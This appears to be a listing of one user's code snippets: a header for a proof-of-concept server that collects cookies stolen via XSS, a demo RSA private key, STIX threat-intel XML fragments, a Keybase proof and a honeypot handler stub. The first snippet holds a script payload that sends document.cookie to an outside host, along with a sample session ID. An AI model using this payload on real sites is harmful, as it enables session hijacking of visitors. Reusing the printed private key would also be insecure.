johnnykv

#Johnny Vestergaard - 2012
#jkv@unixcluster.dk
#POC: Webserver accepting cookies gathered from a website using XSS.
#requires Python 2.7
#
#Expected input is a GET request containing document.cookie, example:
# /PHPSESSID=mu7kbumqj7d4qf5ug3h7n89gs4;%20acopendivids=phpbb2,redmine;%20acgroupswithpersist=nada
#
#javescript used in the example:
#<script>javascript:img=new Image();img.src="http://10.0.0.20/"+document.cookie;</script>

johnnykv

>>> from Crypto.PublicKey import RSA
>>> priv  = RSA.generate(1024)
>>> pub = priv.publickey()
>>> private.exportKey()
>>> priv.exportKey()
'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQC5vthVta88yjHHkF3Q7s4XHZMaV5A0/6mc6aXu53Hrud8oKqsM\nikXs3ounhWlkdhNpzs2VArAn1BCyAQz9sJk4efz9j5SmWRFaYTVemchtsBUVfT6D\nJvCa2e7YfORzaFsmBgfUVW/o7U4iOkAKdUWSUZ+U9Lz/mKr9RqOJ8GHaHQIDAQAB\nAoGBAIeTwZxuDQa2HzenLJNAe7VrpN/pYh0NL+SUtsV2sjR5a2WKH2f71aZbmlwg\niRkHBoyIoo5Nc/7eT4FeOvlBWdQbmMvDvRpXmykq9HGcGqAUMhGDesNvwag/V+C3\nU07s0b1HxCup2EoqkJuDLr/R9N2lgIjunUCnUPTZg5rouBWRAkEAxoEZmFjykB8z\neYCVjmgCrbqXZF4yTmORNpMC3CYquYuPPGNsfZPjEI2lN5lLRqkguSiWrRorTB/v\nUVU0hBbWnwJBAO+LsR9dntL/uDNvBMP8GzZRIPiCFx7dhqWFJg5olO6ZP4beHtuV\nnfClJCG+K7sDMmmSriN4BTA2u8l2jd7CQcMCQCMFH6ja+GAowQIMh1YKT36qzo6s\nd5+QvUutf/Gq4hq93lU/DSLSdlqzQpSefMNIjzdbS8naNg1GDQiCSbOL++0CQHuX\nMjKBphEtGMeIrwfDCfMzVnSBAhbNqsu5b9IdSUH1VV5rObaHci6XtZWnPX7GfnsT\nz77DDMI8axTdkwLsbOsCQDN7OwUyaY3U70BsCmxImiHwnoXOR/37R98F9T7oS/Wt\nKm/Rwam13p76eHFpp2eHklcYYo23NMi03gCggnflVHM=\n-----END RSA

johnnykv

```
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-34-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Tue Jun 11 20:31:28 CEST 2013

  System load:  0.0                 Processes:           84
  Usage of /:   25.4% of 287.52GB   Users logged in:     0
  Memory usage: 36%                 IP address for eth0: 192.168.1.112

johnnykv

<stix:STIX_Package xmlns:CodeObj="http://cybox.mitre.org/objects#CodeObject-2" xmlns:ioc-tr="http://schemas.mandiant.com/2010/ioc/TR/" xmlns:GUIObj="http://cybox.mitre.org/objects#GUIObject-2" xmlns:UnixVolumeObj="http://cybox.mitre.org/objects#UnixVolumeObject-2" xmlns:WinNetworkRouteEntryObj="http://cybox.mitre.org/objects#WinNetworkRouteEntryObject-2" xmlns:maec="http://maec.mitre.org/XMLSchema/maec-package-2" xmlns:WinDriverObj="http://cybox.mitre.org/objects#WinDriverObject-2" xmlns:NetworkSocketObj="http://cybox.mitre.org/objects#NetworkSocketObject-2" xmlns:GUIDialogBoxObj="http://cybox.mitre.org/objects#GUIDialogboxObject-2" xmlns:LibraryObj="http://cybox.mitre.org/objects#LibraryObject-2" xmlns:openiocTM="http://stix.mitre.org/extensions/TestMechanism#OpenIOC2010-1" xmlns:WinThreadObj="http://cybox.mitre.org/objects#WinThreadObject-2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:DiskObj="http://cybox.mitre.org/objects#DiskObject-2" xmlns:NetworkConnectionObj="http://cybox.mitre.org/obj

johnnykv

<?xml version="1.0" encoding="UTF-8"?>
<stix:STIX_Package xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                   xmlns:cybox="http://cybox.mitre.org/cybox-2"
                   xmlns:cyboxCommon="http://cybox.mitre.org/common-2"
                   xmlns:cyboxVocabs="http://cybox.mitre.org/default_vocabularies-2"
                   xmlns:AddressObj="http://cybox.mitre.org/objects#AddressObject-2"
                   xmlns:PortObj="http://cybox.mitre.org/objects#PortObject-2"
                   xmlns:SocketAddressObj="http://cybox.mitre.org/objects#SocketAddressObject-1"
                   xmlns:NetworkConnectionObj="http://cybox.mitre.org/objects#NetworkConnectionObject-2"
                   xmlns:stix="http://stix.mitre.org/stix-1"

johnnykv

<?xml version="1.0" encoding="UTF-8"?>
<stix:STIX_Package xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                   xmlns:cybox="http://cybox.mitre.org/cybox-2"
                   xmlns:cyboxCommon="http://cybox.mitre.org/common-2"
                   xmlns:AddressObj="http://cybox.mitre.org/objects#AddressObject-2"
                   xmlns:PortObj="http://cybox.mitre.org/objects#PortObject-2"
                   xmlns:SocketAddressObj="http://cybox.mitre.org/objects#SocketAddressObject-1"
                   xmlns:NetworkConnectionObj="http://cybox.mitre.org/objects#NetworkConnectionObject-2"
                   xmlns:stix="http://stix.mitre.org/stix-1"
                   xmlns:stixCommon="http://stix.mitre.org/common-1"

johnnykv

<?xml version="1.0" encoding="UTF-8"?>
<stix:STIX_Package xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                   xmlns:cybox="http://cybox.mitre.org/cybox-2"
                   xmlns:cyboxCommon="http://cybox.mitre.org/common-2"
                   xmlns:AddressObj="http://cybox.mitre.org/objects#AddressObject-2"
                   xmlns:PortObj="http://cybox.mitre.org/objects#PortObject-2"
                   xmlns:HTTPSessionObj="http://cybox.mitre.org/objects#HTTPSessionObject-2"
                   xmlns:stix="http://stix.mitre.org/stix-1"
                   xmlns:stixCommon="http://stix.mitre.org/common-1"
                   xmlns:incident="http://stix.mitre.org/Incident-1"

johnnykv

<?xml version="1.0" encoding="UTF-8"?>
<stix:STIX_Package xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                   xmlns:cybox="http://cybox.mitre.org/cybox-2"
                   xmlns:cyboxCommon="http://cybox.mitre.org/common-2"
                   xmlns:AddressObj="http://cybox.mitre.org/objects#AddressObject-2"
                   xmlns:PortObj="http://cybox.mitre.org/objects#PortObject-2"
                   xmlns:SocketAddressObj="http://cybox.mitre.org/objects#SocketAddressObject-1"
                   xmlns:NetworkConnectionObj="http://cybox.mitre.org/objects#NetworkConnectionObject-2"
                   xmlns:stix="http://stix.mitre.org/stix-1"
                   xmlns:stixCommon="http://stix.mitre.org/common-1"

johnnykv

Keybase proof

I hereby claim:

• I am johnnykv on github.
• I am jkv (https://keybase.io/jkv) on keybase.
• I have a public key whose fingerprint is 960C 3124 BAE6 276F DB40 9713 B0B2 7FDC 7DF5 4468

To claim this, I am signing this object:

johnnykv

import socket
import logging

from beeswarm.drones.honeypot.capabilities.handlerbase import HandlerBase


logger = logging.getLogger(__name__)


class SIP(HandlerBase):